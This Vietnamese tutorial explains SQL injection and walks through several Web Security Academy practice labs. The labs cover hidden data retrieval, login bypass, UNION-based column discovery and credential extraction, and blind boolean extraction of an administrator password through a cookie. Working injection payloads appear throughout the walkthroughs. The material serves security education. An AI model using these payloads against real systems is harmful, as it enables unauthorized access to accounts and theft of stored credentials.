SQL injection
Last updated
Last updated
Có một vấn đề đặt ra mà mỗi khi hệ thống cần phải đối mặt đó chính là làm sao để lưu trữ các thông tin một cách hiệu quả, và khi cần sử dụng có thể truy xuất nhanh chóng và chính xác thông tin đó. Chính vì vậy, cơ sở dữ liệu ra đời.
Cơ sở dữ liệu không chỉ giúp khắc phục được những điểm yếu của việc lưu file thông thường trên máy tính, mà còn đảm bảo thông tin lưu trữ được nhất quán, hạn chế tình trạng thông tin bị trùng lặp. Vì là nơi lưu trữ nhiều thông tin dữ liệu quan trọng nhất của hệ thống, nên cơ sở dữ liệu thường là mục tiêu tấn công của những kẻ tấn công (attacker).
Chính vì vậy, một thuật ngữ về lỗ hổng này ra đời: SQL-injection (SQLi)
SQLi là một loại tấn công bảo mật mà áp dụng trên các hệ thống cơ sở dữ liệu. Nó xảy ra khi một attacker tận dụng một lỗ hổng trong việc xử lý đầu vào của một ứng dụng web hoặc hệ thống để thực hiện các truy vấn SQL độc hại. Kết quả của việc thực thi các truy vấn này có thể gây hại cho cở sở dữ liệu hoặc hệ thống máy tính, bao gồm việc xóa hoặc sửa cơ sở dữ liệu, hoặc cấp quyền cho attacker truy cập vào các thông tin bảo mật. Các lỗ hổng SQLi thường được đánh giá mức động nghiêm trọng ở dạng HIGH.
Giả sử chúng ta có hệ thống quản trị cơ sở dữ liệu MYSQL. Hệ thống thực hiện lưu thông tin người dùng vào cơ sở dữ liệu, khi cần hiển thị các thông tin cho người dùng, các câu lệnh truy xuất dữ liệu từ database sẽ được thực thi. Ví dụ: người dùng nhập vào ô tìm kiếm dữ liệu “misa0136” lúc này hệ thống cần lấy tất cả thông tin của người dùng có name = misa0136. Đoạn mã thực thi được sử dụng như sau:
Giải thích: Biến $input nhận giá trị misa0136, sau khi ghép chuỗi $sql = “SELECT * FROM student WHERE name = ‘ “ . $input .” ’ ” .Khi thực hiện qua hàm mysql_query() sẽ có thể truy xuất kết quả. Vấn đề cần chú ý ở đây là giá trị biến $input có thể thay đổi bởi người dùng (untrusted data), nếu không thực hiện các cơ chế phòng người tấn công, attacker có thể nhập giá trị misa0136’ cho biến này, dẫn đến truy vấn trở thành:
Vậy, mục đích thêm dấu nháy đơn để làm gì ? Vì khi ta sử dụng dấu ‘ nhằm đóng giá trị name phía trước đi (hoặc kết thúc câu lệnh truy vấn này, và sau đó, attacker có thể chèn thêm các câu lệnh mà họ muốn vào sau dấu ‘. Vậy trường hợp phía sau vẫn còn một phần của câu lệnh truy vấn thì sao ? Điều này được giải quyết đơn giảm bằng cách sử dụng các ký tự comment (--, #,/**/…) để biến các chuỗi đằng sau thành comment.
Có rất nhiều lỗ hổng SQLi, các cuộc tấn công và kỹ thuật phát sinh trong các tình huống khác nhau. Sau đây là một số ví sụ SQLi phổ biến:
· Retrieving hidden data: nơi bạn có thể sửa đổi truy vấn SQL để trả về kết quả bổ sung.
· Subverting application logic: nơi bạn có thể thay đổi một truy vấn để can thiệp vào logic của ứng dụng
· UNION attacks: nơi bạn có thể truy xuất dữ liệu từ các bảng cơ sở dữ liệu khác nhau.
· Examining the database: nơi bạn có thể trích xuất thông tin về phiên bản và cấu trúc của cơ sở dữ liệu
. Blind SQLi: kết quả của một truy vấn mà bạn kiểm soát không được trả về trong các phản hồi của ứng dụng.
Giả sử trong một trang web mua sắm trực tuyến, người dùng có thể xem các dòng sản phẩm theo tham số category: https://insecure-web.site.com/products?category=Gifts Điều này khiến hệ thống thực hiện truy xuất các sản phẩm từ cơ sở dữ liệu, và hệ thống sử dụng thêm điều kiện released =1 (chỉ lấy các dòng sản phẩm đang phát hành):
Do giá trị tham số category có thể thay đổi tùy ý nên chúng ta có thể lợi dụng kỹ thuật tấn công SQLi khiến trang web hiển thị thêm các dòng sản phẩm đã từng phát hành hoặc sẽ phát hành trong tương lai. https://insecure-web.site.com/products?category=Gifts’--
Lúc này, truy vấn trở thành:
SELECT * FROM products WHERE category = 'Gifts'-- AND released = 1
Kí hiệu –- đã khiến phần theo sau nó được hệ thống hiểu là comment nên là đã vô hiệu hóa điều kiện released = 1, điều này khiến hệ thống lấy dữ liệu tất cả các sản phẩm chỉ thỏa mãn điều kiện category = ‘Gifts’, trong đó bao gồm tất cả các sản phẩm thỏa mãn điều kiện released = 1 và released = 0.
Đi xa hơn nữa, attacker có thể khiến ứng dụng hiển thị tất cả các sản phẩm trong bất kì danh mục nào, kể cả danh mục mà chúng không biết:
https://insecure-website.com/products?category=Gifts'+OR+1=1--
Điều này dẫn đến truy vấn SQL:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
Truy vấn này trả về tất cả các mục có danh mục là Gifts hoặc 1=1. Vì 1=1 luôn đúng (logic đại số), dẫn đến tất cả các sản phẩm đều được hiển thị.
Thực hành lab (Level: Apprentice)
Tên lab: SQLi vulnerability in WHERE clause allowing retrieval of hidden data.
Nội dung lab: Trang web có chứa lỗ hổng SQLi trong câu lệnh truy xuất dữ liệu. Để giải quyết lab này, chúng ta cần khai thác lỗ hổng để giao diện web hiển thị tất cả sản phẩm phát hành và chưa phát hành.
Thực hành lab:
Thực hiện lab:
1. Chúng ta có thể xem các sản phẩm theo từng thể loại. Để ý rằng trang web xác định dòng sản phẩm theo tham số category trong thanh URL, và giá trị này có thể thay đổi tùy ý bởi người dùng.
2. Kiểm tra lỗ hổng SQLi bằng cách thêm dấu ‘ :
https://0a9c00aa04d7df61c022a9aa007700fc.web-security-academy.net/filter?category=Lifestyle’
Trang web xuất hiện lỗi:
Điều này có thể dự đoán lỗi xuất hiện là do câu lệnh truy vấn bị sai cú pháp. Để giải quyết vấn đề này, chúng ta chỉ cần thay đổi giá trị tham số kết hợp với một biểu thức logic luôn đúng, chúng ta có thể dẫn đến hệ thống truy xuất tất cả sản phẩm trong cơ sở dữ liệu (điều này đã được phân tích ở phần lý thuyết trên).
/
filter?category=Lifestyle’ or 1=1--
Thực hiện thay đổi và bài lab của chúng ta đã giải quyết.
Giả sử, chúng ta có một ứng dụng cho phép người dùng đăng nhập bằng tên người dùng và mật khẩu.
Khi người dùng thực hiện đăng nhập, hai tham số username và password được truyền tới hệ thống, sau đó được “ghép” trực tiếp vào câu lệnh SQL. Ví dụ câu lệnh kiểm tra thông tin đăng nhập của người dùng như sau:
Nếu người dùng gửi tên đăng nhập “misa0136” và mật khẩu “helloworld1”, ứng dụng sẽ kiểm tra thông tin đăng nhập bằng cách thực hiện truy vấn sau:
SELECT * FROM users WHERE username = ‘misa0136’ AND password = ‘helloworld1’
Nếu truy vấn trả về thông tin chi tiết của người dùng thì đăng nhập thành công, ngược lại – thất bại.
Tại đây, username và password là một untrusted data. Tức là kẻ tấn công có thể tìm cách thay đổi logic câu lệnh trên sao cho khi thực hiện thì hệ thống không kiểm tra mật khẩu. Từ ý tưởng đó, thực hiện thay đổi giá trị username = misa0136’--, tham số mật khẩu nhận giá trị tùy ý. Truy vấn SQL trở thành:
SELECT * FROM users WHERE username = ‘misa0136’—-' AND password = ‘helloworld1’
Như vậy, lúc này hệ thống chỉ thực hiện lấy thông tin cơ sở dữ liệu với một điều kiện duy nhất là username = misa0136 (vì dấu comment đã loại bỏ phần còn lại của câu lệnh truy vấn). Và chúng ta đăng nhập thành công.
Điều này cũng có thể áp dụng tương tự với trường password. Nhưng có một chút khác ở payload. Chúng ta thay giá trị password = abc’ or 1=1--. Khi đó câu lệnh truy vấn trở thành:
SELECT * FROM users WHERE username = ‘misa0136’--' AND password = ‘abc’ or 1=1--
Lúc này, điều kiện kiểm tra mật khẩu người dùng luôn đúng, nên chúng ta có thể đăng nhập vào tài khoản misa0136. Vậy giả sử, trong trường hợp chúng ta biết chắc rằng, có người dùng administrator tồn tại trên hệ thống thì sao? Điều này trở nên vô cùng nguy hiểm khi có lỗi SQLi ở đây.
Thực hành lab: (Level: Apprentice)
Tên lab: SQL injection vulnerability allowing login bypass. Nội dung lab: Chức năng đăng nhập của trang web chứa lỗ hổng SQLi. Để hoàn thành lab này, chúng ta cần login với tài khoản người dùng administrator. Thực hiện lab:
Kiểm tra lỗ hổng SQLi bằng cách thêm dấu ‘ trong tường username. Trang web trả về lỗi:
Như vậy, ở đây chúng ta có thể dự đoán lỗi xuất hiện do câu lệnh truy vấn bị sai cú pháp. Hiện tại chúng ta đã biết username của quản trị viên là administrator. Như đã phân tích ở trên, chúng ta có thể phá vỡ logic của câu lệnh SQL bằng giá trị: administrator’--, còn password nhận giá trị tùy ý(Bạn cũng có thể thử với cách thứ hai, thay đổi giá trị tại trường password).
Trong trường hợp, chúng ta xác định được nơi chứa lỗ hổng SQLi và kết quả trả về có thể tiếp tục khai thác thông tin dữ liệu từ các bảng khác trong cơ sở dữ liệu.
Giả sử, nếu một ứng dụng thực hiện truy vấn sau:
SELECT name, description FROM products WHERE category = ‘Gifts’
Ở đây tham số category có thể thay đổi bởi người dùng đồng thời đã biết tên bảng cần khai thác là users, nên chúng ta có thể sử dụng phép UNION để truy xuất dữ liệu từ bảng users như sau:
SELECT name, description FROM products WHERE category = ‘Gifts’ UNION SELECT username, password FROM users--
Vậy, phép UNION là gì ? Chúng ta cùng tìm hiểu qua ví dụ sau:
SELECT a,b FROM table1 UNION SELECT c, d FROM table2
Phép UNION cho phép bạn thực hiện một hoặc nhiều truy vấn bổ sung SELECT và nối kết quả vào truy vấn ban đầu.
Như vậy, truy vấn trong ví dụ trên trả về một tập hợp kết quả duy nhất có 2 cột, chứa các giá trị từ các cột a và b trong table1 và các cột c, d trong table2.
Để thực hiện truy vấn với UNION, chúng ta cần chú ý tới hai điều kiện sau cần được thỏa mãn:
· Các câu lệnh SELECT cần trả về số cột dữ liệu bằng nhau
· Các cột tương ứng cần có cùng kiểu dữ liệu
Như vậy, cần xác định và trả lời 2 câu hỏi sau:
· Có bao nhiêu cột đang được trả về từ truy vấn ban đầu ?
· Những cột nào được trả về từ truy vấn ban đầu thuộc loại dữ liệu phù hợp để giữ kết quả truy vấn được đưa vào ?
Trả lời câu hỏi 1:
Khi thực hiện một cuộc tấn công SQL injection UNION, có hai phương pháp hiệu quả để xác định có bao nhiêu cột được trả về từ truy vấn ban đầu. Xét truy vấn:
SELECT name, description FROM products WHERE category = ‘Gifts’
Cách 1: Sử dụng phép UNION
Thay đổi giá trị tham số category:
‘ UNION SELECT NULL--
‘ UNION SELECT NULL, NULL--
‘ UNION SELECT NULL, NULL, NULL--
…
Vì sao chúng ta sử dụng kiểu dữ liệu NULL ở đây ? Bởi vì kiểu dữ liệu NULL có thể tự chuyển hóa thành bất kì kiểu dữ liệu nào trong quá trình hợp kết quả. Thực hiện đến khi trả về kết quả.
Cách 2: Sử dụng phép ORDER BY
Phép ORDER BY thực hiện sắp xếp kết quả truy vấn theo điều kiện đưa ra. Trong trường hợp này, chúng ta cần lợi dụng nó để xác định số cột dữ liệu trả về trong câu truy vấn.
Thay đổi giá trị tham số category:
‘ ORDER BY 1--
‘ ORDER BY 2--
‘ ORDER BY 3--
…
Thực hiện cho tới khi câu truy vấn không tìm thấy cột thứ i, sẽ trả về error, điều này có nghĩa là cột có số thứ tự lớn nhất là i-1 (hay truy vấn trả về i-1 cột dữ liệu)
Thực hành lab: (Level: Practitioner)
Tên lab: SQL injection UNION attack, determining the number of columns returned by the query.
Nội dung lab: Trang web này chứa lỗ hổng SQLi trong chức năng bộ lọc hiển thị sản phẩm. Chúng ta có thể xác định số cột dữ liệu được trả về trong câu truy vấn. Để giải quyết bài lab này, chúng ta cần sử dụng UNION xác định số cột dữ liệu trả về bằng cách gộp các cột dữ liệu này với kiểu NULL.
Thực hiện lab:
Chúng ta có thể xem các sản phẩm thông qua chức năng bộ lọc hiển thị sản phẩm theo loại được xác định qua tham số category trong URL với phương thức GET. Tham số này có thể thay đổi tùy ý.
Kiểm tra lỗ hổng SQL bằng cách thay đổi giá trị category =’ .Trang web trả về lỗi:
Như vậy, ta đã xác định được nơi xảy ra lỗi SQLi. Giờ chúng ta cần xác định số cột trả về: Chọn 1 trong 2 phương pháp ở phần lí thuyết của phần này để thực hiện. Ở đây, chọn phương pháp 1. Lần lượt sử dụng các payload:
‘ UNION SELECT NULL--
‘ UNION SELECT NULL, NULL--
Khi chèn 2 payload trên thì kết quả trả về error
‘ UNION SELECT NULL, NULL, NULL--
Tiếp nối với phần được trình bày ở trên, sau khi xác định được số cột dữ liệu trả về, chúng ta cần tiếp tục tìm kiếm cột dữ liệu được khai thác hiển thị kết quả thông tin cụ thể.
Chúng ta có thể kiểm tra xem cột đó có thể chữa dữ liệu chuỗi hay không bằng cách gửi một loạt payload UNION SELECT lần lượt đặt giá trị chuỗi vào từng cột. Giả sử, nếu truy vấn trả về 3 cột, payload sẽ là:
‘ UNION SELECT ‘cot1’,NULL,NULL--
‘ UNION SELECT NULL,’cot2’,NULL--
‘ UNION SELECT NULL,NULL,’cot3’--
Sau đó, tìm kiếm giao diện phản hồi các khóa từ cot1, cot2,cot3. Sự xuất hiện của các từ khóa cũng tương ứng với cột dữ liệu có thể khai thác.
Thực hành lab: (Level: Practitioner)
Tên lab: SQL injection UNION attack, finding a column containing text
Nội dung lab: Trang web chứa lỗ hổng SQLi trong chức năng bộ lọc hiển thị sản phẩm. Kết quả được hiển thị trong giao diện trả về. Để giải quyết bài lab này, chúng ta cần khai thác lỗ hổng nhằm tìm kiếm cột dữ liệu trả về tương thích với dữ liệu dạng chuỗi.
Thực hiện lab:
Chúng ta có thể sử dụng chức năng bộ lọc hiển thị sản phầm theo loại, được xác định qua tham số category trong thanh URL, thông qua phương thức GET.Tham số này có thể thay đổi tùy ý.
Theo đề bài, chúng ta cần hiển thị chuỗi “E4a4wG” ra khỏi màn hình để hoàn thành lab.
Kiểm tra lỗ hổng SQLi tại tham số category.
Xác định số cột dữ liệu với ORDER BY: Payload: ‘ ORDER BY 3--(không trả về lỗi)
Tiếp theo ta cần xác định cột dữ liệu nào tương thích với kiểu dữ liệu chuỗi. Kiểm tra lần lượt các cột
Cột 1: misa0136’ UNION SELECT ‘cot1’,NULL,NULL--
Cột 2: misa0136’ UNION SELECT NULL,’cot2’,NULL--
Cột 3: misa0136’ UNION SELECT NULL,NULL,’cot3’--
Với payload trên, lần lượt kiểm tra cột 1 và cột 3 đều trả về với lỗi. Chỉ có cột 2 là trả về đúng giá trị ‘cot2’
Như vậy, dữ liệu trong cột 2 tương thích với kiểu dữ liệu chuỗi. Hiển thị chuỗi đề bài yêu cầu và hoàn thành lab.
Sau khi đã xác định được số cột được trả về bởi truy vấn ban đầu và tìm thấy cột nào có thể chứa dữ liệu chuỗi, bạn có thể truy xuất những dữ liệu thú vị.
Giả sử:
· Truy vấn ban đầu trả về 2 cột, và cả 2 cột đều có thể chứa dữ liệu chuỗi
· Điểm chèn là một chuỗi được trích dẫn trong mệnh đề WHERE
· Cơ sở dữ liệu chứa một bảng gọi là users với các cột username và password
Chú ý: nếu bạn không biết tên bảng và tên các cột. Trên thực tế bạn có thể đoán tên bảng và tên cột. Tất cả cơ sở dữ liệu hiện nay đều cung cấp các cách kiểm tra cấu trúc cơ sở dữ liệu để xác định xem nó chứa những bảng và cột nào. Thực hành lab: (Level : Practitioner)
Tên lab: SQL injection UNION attack, retrieving data from other tables
Nội dung lab: Trang web này chứa lỗ hổng SQLi trong bộ lọc danh mục sản phẩm. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng, vì vậy bạn có thể sử dụng tấn công UNION để lấy dữ liệu từ bảng khác. Để xây dựng cuộc tấn công như vậy,bạn cần kết hợp một số kĩ thuật mà bạn đã học được trong các lab trước. Cơ sở dữ liệu chứa một bảng khác gọi là users với các cột là username và password. Để hoàn thành bài lab nay, hãy lấy thông tin đăng nhập của administrator và đăng nhập vào hệ thống.
Thực hiện lab:
Như các bài lab trước, đầu tiên chúng ta cần xác định điểm xảy ra lỗi SQLi. Tại tham số category, chúng ta xác định được ở đây chứa lỗi này bằng cách thêm dấu ‘. (lỗi được trả về)
Tiếp theo, ta cần xác định số cột dữ liệu được trả về.
Payload: ‘ ORDER BY 1-- , ‘ ORDER BY 2--, …
Gửi lần lượt các payload trên đến khi không xuất hiện lỗi.
Ta cần xác định cột nào chứa dữ liệu kiểu chuỗi.
Payload: ‘ UNION SELECT ‘cot1’, NULL--, ‘ UNION SELECT NULL,’cot2’--
Như vậy, ta xác định được cả 2 cột đều chứa dữ liệu kiểu chuỗi.
Tiến hành truy xuất dữ liệu bảng users,với thông tin người dùng cần khai thác là administrator:
Payload: ‘ UNION SELECT password, NULL FROM users WHERE username = ‘administrator’--
Trong bài lab trước,giả sử rằng truy vấn chỉ trả về một cột duy nhất. Bạn cũng có thể dễ dàng truy xuất nhiều giá trị cùng nhau trong một cốt bằng cách nối các giá trị lại với nhau, tốt nhất là bao gồm một dấu tách phù hợp để bạn dễ dàng nhận biết được các giá trị được kết hợp.
Ví dụ đối với CSDL Oracle:
‘ UNION SELECT username || ‘~~’ || password FROM user--
Toán tử || là toán tử nối chuỗi trên Oracle. Như vậy kết quả truy vấn sẽ là:
Username~~Password
Lưu ý: mỗi cơ sở dữ liệu khác nhau, có cú pháp sử dụng khác nhau.
Thực hành lab: (Level: Practitioner)
Tên lab: SQL injection UNION attack, retrieving multiple values in a single column.
Nội dung lab: Trang web này chứa lỗ hổng SQLi trong bộ lọc danh mục sản phẩn. CSDL chứa một bảng users, với các cột được gọi là username và password. Truy xuất dữ liệu 2 cột đó ra khỏi màn hình. Để hoàn thành lab,dăng nhập với tư cách người dùng administrator.
Thực hiện lab:
Bỏ qua các bước xác định nơi xảy ra lỗi và xác định số cột trả về và cột chứa thông tin kiểu chuỗi (Bạn tự thực hiện lại các bước này để thêm kinh nghiệm.)
Truy xuất dữ liệu 2 cột username và password:
Payload: ‘ UNION SELECT NULL,username ||’~’||password FROM users--
Trong thực tế, có nhiều trường hợp SQL injection là blind, tức là ứng dụng không trả về kết quả của truy vấn SQL hoặc chi tiết về bất kì lỗi cơ sở dữ liệu nào trong phản hồi của nó. Nhưng kiểu lỗ hổng này vẫn có thể được khai thác, nhưng kĩ thuật khai thác thường phức tạp hơn.
Tùy thuộc vào bản chất của lỗ hổng và cơ sở dữ liệu liên quan, một số kĩ thuật sau đây có thể được sử dụng để khai thác SQLi blind:
Thay đổi logic của truy vấn để kích hoạt sự khác biệt có thể phát hiện được trong phản hồi của ứng dụng tùy thuộc vào độ chính xác của một điều kiện. Điều này có thể liên quan đến việc đưa một điều kiện mới vào logic Boolean nào đó hoặc kích hoạt một cách có điều kiện một lỗi. (ví dụ chia một số cho 0)
Kích hoạt thời gian delay một cách có điều kiện trong quá trình xử lý truy vấn, cho phép suy ra tính đúng đắn của điều kiện dựa trên thời gian mà ứng dụng cần để phản hồi.
Kích hoạt tương tác mạng ngoài băng tần, sử dụng kỹ thuật OAST.
Với loại lỗ hổng này, nhiều kỹ thuật ví dụ như UNION attack không hoạt động vì chúng dựa vào việc có thể xem kết quả của truy vấn được chèn trong các phản hồi của ứng dụng.
Giả sử, một ứng dụng sử dụng cookie theo dõi để thu thập phân tích việc sử dụng với tiêu đề như sau:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
Khi một yêu cầu chứ cookie TrackingId được xử lý, ứng dụng sẽ xác định xem đây có phải là người dùng đã biết hay không bằng một truy vấn như sau:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
Có thể đoán rằng, truy vấn SQL này dễ bị tấn công SQLi, nhưng kết quả từ truy vấn không trả lại cho người dùng. Tuy nhiên, ứng dụng sẽ hoạt động khác nhau tùy thuộc vào việc truy vấn có trả về bất kỳ dữ liệu nào hay không. Nếu nó trả về dữ liệu (vì đã được xác thực là TrackingId là đã gửi), thì sẽ có một thông báo ' Welcome back'.
Thông báo này là đủ để có thể khai thác lỗ hổng chèn SQLi blind và truy xuất thông tin bằng cách kích hoạt các phản hồi khác nhau theo điều kiện, tùy thuộc vào điều kiện được chèn. Giả sử rằng hai yêu cầu lần lượt được gứi có chứa cookie TrackingId có giá trị sau:
…xyz' AND '1'='1
…xyz' AND '1'='2
Giải thích: Giá trị đầu tiên trong số này sẽ kiến truy vấn trả về kết quả vì điều kiện AND '1' = '1 được đưa vào là đúng và do đó, thông báo 'Welcome back' được hiển thị. Trong khi đó, giá trị thứ hai sẽ khiến truy vấn không trả về bất kì kết quả nào vì điều kiện được đưa vào là sai và do đó, không có thông báo được hiển thị. Điều này cho phép xác định câu trả lời cho bất kỳ điều kiện được đưa vào nào và do đó trích xuất dữ liệu từng bit một.
Ví dụ: Cơ sở dữ liệu có một bảng Users với các cột Username và Password, và người dùng Administrator. Ở đây có thể xác định mật khẩu cho người dùng này một cách có hệ thống bằng cách gửi một loạt dữ liệu đầu vào để kiểm tra mật khẩu từng ký tự một.
Thực hành lab: (Level Practitioner)
Tên lab: Blind SQL injection with conditional responses
Nội dung lab: Trang web này chứa lỗ hổng SQLi blind. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị cookie đã gửi. Kết quả của truy vấn SQL không được trả lại và không có thông báo lỗi nào được hiển thị. Tuy nhiên, ứng dụng có thông báo Welcome back nếu truy vấn trả về bất kì hàng nào. Đăng nhập với tư cách administrator để hoàn thành lab
Thực hiện lab:
Sử dụng Burp Suite để chặn và sửa đổi yêu cầu có chứa cookie TrackingId= uJz4afswQu41nynF
Sửa đổi cookie TrackingId thành: TrackingId= uJz4afswQu41nynF' AND '1'='1
Sửa đổi cookie TrackingId thành: TrackingId= uJz4afswQu41nynF' AND '1'='2
Điều này cho thấy cách có thể kiểm tra một điều kiện boolean duy nhất và suy ra kết quả.
Sửa đổi cookie thành:
TrackingId=uJz4afswQu41nynF' AND (SELECT 'a' FROM users LIMIT 1)='a
Như vậy, điều này xác minh điều kiện là đúng vì có thông báo Welcome back xuất hiện. Cơ sở dữ liệu có chứa bảng users
Tiếp đến, xác minh người dùng administrator. Sửa đổi cookie thành
TrackingId=uJz4afswQu41nynF' AND (SELECT 'a' FROM users WHERE username='administrator')='a
Điều này xác nhận, có tồn tại người dùng administrator.
Xác minh độ dài của mật khẩu:
Sửa đổi cookie thành:
TrackingId=uJz4afswQu41nynF' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
Điều này để xác minh mật khẩu có độ dài lớn hơn 1 kí tự. Thay đổi kiểm tra độ dài mật khẩu cho đến khi không xuất hiện thông báo Welcome back.
Để đơn giản hóa việc khai thác, sử dụng Burp Repeater. Sau khi xác định được độ dài của mật khẩu là 20 kí tự. với payload:
TrackingId=uJz4afswQu41nynF' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a
Sau khi xác định được độ dài của mật khẩu. Bây giờ ta cần xác định các kí tự của mật khẩu từng kí tự một
TrackingId=uJz4afswQu41nynF' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
Đến đây sử dụng Burp Intruder để giảm thời gian thực hiện. ( Bạn đọc tự tìm hiểu cách sử dụng)
Như vậy, kí tự đầu tiên của mật khẩu được xác nhận là q.
Thay đổi payload để xác định kí tự thứ 2,3,4,5,6....20
TrackingId=uJz4afswQu41nynF' AND (SELECT SUBSTRING(password,
2
,1) FROM users WHERE username='administrator')='a
Kí tự màu đỏ trong payload là trường cần thay đổi sau mỗi kí tự được tìm thấy.
Password được tìm thấy : qjcnav3pternr6apiacu Đăng nhập để hoàn thành lab: